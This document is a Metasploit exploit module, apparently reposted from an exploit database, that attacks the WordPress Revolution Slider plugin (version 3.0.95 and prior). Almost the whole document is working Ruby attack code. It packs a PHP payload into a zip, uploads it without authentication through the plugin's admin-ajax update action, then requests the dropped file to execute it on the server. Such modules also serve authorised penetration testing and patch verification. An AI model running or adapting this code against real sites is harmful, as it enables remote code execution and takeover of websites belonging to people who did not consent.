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# WordPress RevSlider 3.0.95 File Upload / Execute Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The
vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'Simo Ben youssef', # Vulnerability discovery
'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],
['EDB', '35385'],
['WPVDB', '7954'],
['OSVDB', '115118']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
'DisclosureDate' => 'Nov 26 2015',
'DefaultTarget' => 0)
)
end

def check
release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
end

def exploit
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

# Build the zip
payload_zip = Rex::Zip::Archive.new
# If the filename in the zip is revslider.php it will be automatically
# executed but it will break the plugin and sometimes WordPress
payload_zip.add_file('revslider/' + php_pagename, payload.encoded)

# Build the POST body
data = Rex::MIME::Message.new
data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
post_data = data.to_s

res = send_request_cgi(
'uri' => wordpress_url_admin_ajax,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

if res
if res.code == 200 && res.body =~ /Update in progress/
# The payload itself almost never deleted, try anyway
register_files_for_cleanup(php_pagename)
# This normally works
register_files_for_cleanup('../revslider.zip')
final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
print_good("#{peer} - Our payload is at: #{final_uri}")
print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri' => normalize_uri(final_uri),
'timeout' => 5
)
elsif res.code == 200 && res.body =~ /^0$/
# admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end

end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-06-08]

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